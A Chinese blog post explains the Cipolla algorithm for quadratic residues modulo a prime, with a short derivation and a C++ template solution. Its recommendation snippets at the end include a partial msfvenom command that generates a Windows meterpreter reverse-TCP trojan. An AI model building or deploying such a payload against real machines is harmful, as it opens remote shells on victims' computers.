\(\text{Summary}\)

实际上是做法的归纳

一切皆是结论性的,没有证明!

模 \(p\) 意义下的二次剩余有 \(\frac{p-1}2\) 个,二次非剩余也恰有那么多

考虑解关于 \(x\) 的同余方程

\[x^2 \equiv n \pmod p
\]

当 \(n=0\) 时,\(x=0\) 是唯一解

当 \(n \not= 0\) 时,若方程有解,则只有两个互为相反数的解

判断有无解:欧拉准则

考虑 \(n^{\frac{p-1}{2}}\) 模 \(p\) 的结果

由 \((n^{\frac{p-1}{2}})^2 \equiv 1 \pmod p\)

只其结果只为 \(1\) 或 \(-1\)

\(1\) 时有解,\(-1\) 时无解

求解的话,先随机找到一个 \(a\) 满足 \(a^2 - n\) 为二次非剩余,令 \(i^2 = a^2 - n \equiv -1 \pmod p\)

类似实部和虚部,定义这个 \(i\)

有

\[(a+i)^{p+1} \equiv n \pmod p
\]

证明的话,有

\(\text{Lemma 1}\)

\[i^p \equiv -i \pmod p
\]

\(\text{Lemma 2}\)

\[(x+y)^p \equiv x^p+y^p \pmod p
\]

然后

\[\begin{aligned}
(a+i)^{p+1} & \equiv (a+i)^p(a+i) \\
&\equiv (a+i)(a^p+i^p) \\
&\equiv (a+i)(a-i) \\
&\equiv a^2-i^2 \\
&\equiv n \pmod p
\end{aligned}
\]

\(p+1\) 为偶数,开方就很容易了

具体实现弄上“复数”即可

且 \((a+i)^{\frac{p+1}2}\) 的“虚部” 为 \(0\)

\(\text{Code}\)

#include <cstdio>
#include <algorithm>
#include <iostream>
#define IN inline
using namespace std;
typedef long long LL; int T, n, p;
LL i2; struct complex {
LL x, y;
IN complex(LL _x, LL _y) {x = _x, y = _y;}
IN bool operator == (complex a) {return (a.x == x && a.y == y);}
IN complex operator * (complex a) {
return complex((a.x * x % p + a.y * y % p * i2 % p) % p, (a.x * y % p + a.y * x % p) % p);
}
}; IN complex power(complex x, int y) {
complex s = complex(1, 0);
for(; y; y >>= 1, x = x * x) if (y & 1) s = s * x;
return s;
}
IN int check(LL a) {return power(complex(a, 0), p - 1 >> 1) == complex(1, 0);} IN void solve() {
if (!n) {printf("0\n"); return;}
if (power(complex(n, 0), p - 1 >> 1) == complex(p - 1, 0)) {printf("Hola!\n"); return;}
LL a = rand() % p;
while (!a || check((a * a % p - n + p) % p)) a = rand() % p;
i2 = (a * a % p - n + p) % p;
int x0 = power(complex(a, 1), p + 1 >> 1).x, x1 = p - x0;
if (x0 > x1) swap(x0, x1);
printf("%d %d\n", x0, x1);
} int main() {
scanf("%d", &T);
for(; T; --T) scanf("%d%d", &n, &p), solve();
}

P5491 【模板】二次剩余的更多相关文章

  1. 【模板】【数论】二次剩余Cipolla算法,离散对数BSGS 算法

    Cipolla LL ksm(LL k,LL n) { LL s=1; for(;n;n>>=1,k=k*k%mo) if(n&1) s=s*k%mo; return s; } n ...

  2. [zoj 3774]Power of Fibonacci 数论(二次剩余 拓展欧几里得 等比数列求和)

    Power of Fibonacci Time Limit: 5 Seconds      Memory Limit: 65536 KB In mathematics, Fibonacci numbe ...

  3. 【learning】多项式开根详解+模板

    概述 多项式开跟是一个非常重要的知识点,许多多项式题目都要用到这一算法. 用快速数论变换,多项式求逆元和倍增法可以在$O(n log n)$的时间复杂度下求出一个$n$次多项式的开根. 前置技能 快速 ...

  4. HDU6128 二次剩余/二次域求二次剩余解/LL快速乘法取模

    LINK 题意:求满足模p下$\frac{1}{a_i+a_j}\equiv\frac{1}{a_i}+\frac{1}{a_j}$的对数,其中$n,p(1\leq n\leq10^5,2\leq p ...

  5. [长期更新]模板&算法学习情况

    这里仅作为自我检查用,模板代码请移步其他博文 标+的表示已学完,标?的表示需要进一步学习,标-的表示有计划但未开始学习,标*的表示暂时没有计划学习 数学 ?BSGS +FFT&NTT ?Luc ...

  6. 2019牛客暑期多校训练营(第九场)B:Quadratic equation (二次剩余求mod意义下二元一次方程)

    题意:给定p=1e9+7,A,B.  求一对X,Y,满足(X+Y)%P=A; 且(X*Y)%P=B: 思路:即,X^2-BX+CΞ0;  那么X=[B+-sqrt(B^2-4C)]/2: 全部部分都要 ...

  7. Codechef:Fibonacci Number/FN——求通项+二次剩余+bsgs

    题意 定义 $F_n$ 为 $$F_n = \left\{\begin{matrix}0, n=0\\ 1, n=1 \\F_{n-1} + F_{n-2}, n > 1\end{matrix} ...

  8. 二次剩余定理及Cipolla算法入门到自闭

    二次剩余定义: 在维基百科中,是这样说的:如果q等于一个数的平方模 n,则q为模 n 意义下的二次剩余.例如:x2≡n(mod p).否则,则q为模n意义下的二次非剩余. Cipolla算法:一个解决 ...

  9. 【学习笔记】OI模板整理

    CSP2019前夕整理一下模板,顺便供之后使用 0. 非算法内容 0.1. 读入优化 描述: 使用getchar()实现的读入优化. 代码: inline int read() { int x=0; ...

  10. ACM模板_axiomofchoice

    目录 语法 c++ java 动态规划 多重背包 最长不下降子序列 计算几何 向量(结构体) 平面集合基本操作 二维凸包 旋转卡壳 最大空矩形 | 扫描法 平面最近点对 | 分治 最小圆覆盖 | 随机 ...

随机推荐

  1. vulnhub靶场之HACKSUDO: THOR

    准备: 攻击机:虚拟机kali.本机win10. 靶机:hacksudo: Thor,下载地址:https://download.vulnhub.com/hacksudo/hacksudo---Tho ...

  2. 【大数据-课程】高途-天翼云侯圣文-Day1:互联网大数据揭秘(大数据介绍&MR实现双十一举牌)

    一.大厂职级 P7:年薪百万 二.大数据发展 1.职业路线和岗位角色 2.大数据行业发展 三.大数据的位置 1.热门行业 大数据承上启下 2.三者关系 啤酒和尿不湿:启发可以放在一块 3.大数据作用 ...

  3. 详记apache-poi的使用,将word,excel,ppt转换为html

    原文:https://blog.51cto.com/yunyaniu/5210961 java:Java的jar包之POI的简介.安装.使用方法(基于POI的转换-Word.Excel.Ppt等转ht ...

  4. elasticsearch global 、 filters 和 cardinality 聚合

    目录 1. 背景 2.解释 1.global 2.filters 3.cardinality 3.需求 4.前置条件 4.1 创建mapping 4.2 准备数据 5.实现3的需求 5.1 dsl 5 ...

  5. 获取Exceptionless的日志

    简言: 最近做项目要用到Exceptionless这个分布式日志组件,由于领导说日志需要提供给客户看,废话不多讲,咱直入主题了: 第一步:查看API文档 打开:http://127.0.0.1:500 ...

  6. 填坑日志-云网络智慧课堂双网卡Mac地址读取错误的问题及解决

    云网络智慧课堂的双网卡问题记录及解决方案 教师端 其实这里双网卡的问题一直没有解决,分为了两部分,一部分是教师端,一部分是学生端.症状类似,问题也类似,都是在设计之初因为硬件限制可能没有考虑到双网卡的 ...

  7. 监听Windows(生成木马)

    sudo su msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口 -f ...

  8. 知识分享-消息中间件详解+rabbitMQ

    知识分享-消息中间件详解+rabbitMQ 消息中间件 概述 消息中间件是基于队列与消息传递技术,在网络环境中为应用系统提供同步或异步.可靠的消息传输的支撑性软件系统. 应用场景 异步处理 对于电商a ...

  9. S2-008

    漏洞名称 S2-008(CVE-2012-0392) 远程代码执行漏洞 利用条件 Struts 2.0.0 - Struts 2.3.17 漏洞原理 S2-008 涉及多个漏洞,Cookie 拦截器错 ...

  10. [数据结构]普里姆(Prim)算法生成最小生成树

    前提介绍:最小生成树概念 一个连通图的生成树是图的极小连通子图,它包含图中的所有定点,并且只含尽可能少的边,这意味着对于生成树来说,就砍去使生成树变成非连通图:若给它怎家一条边就会形成图中的一条回路. ...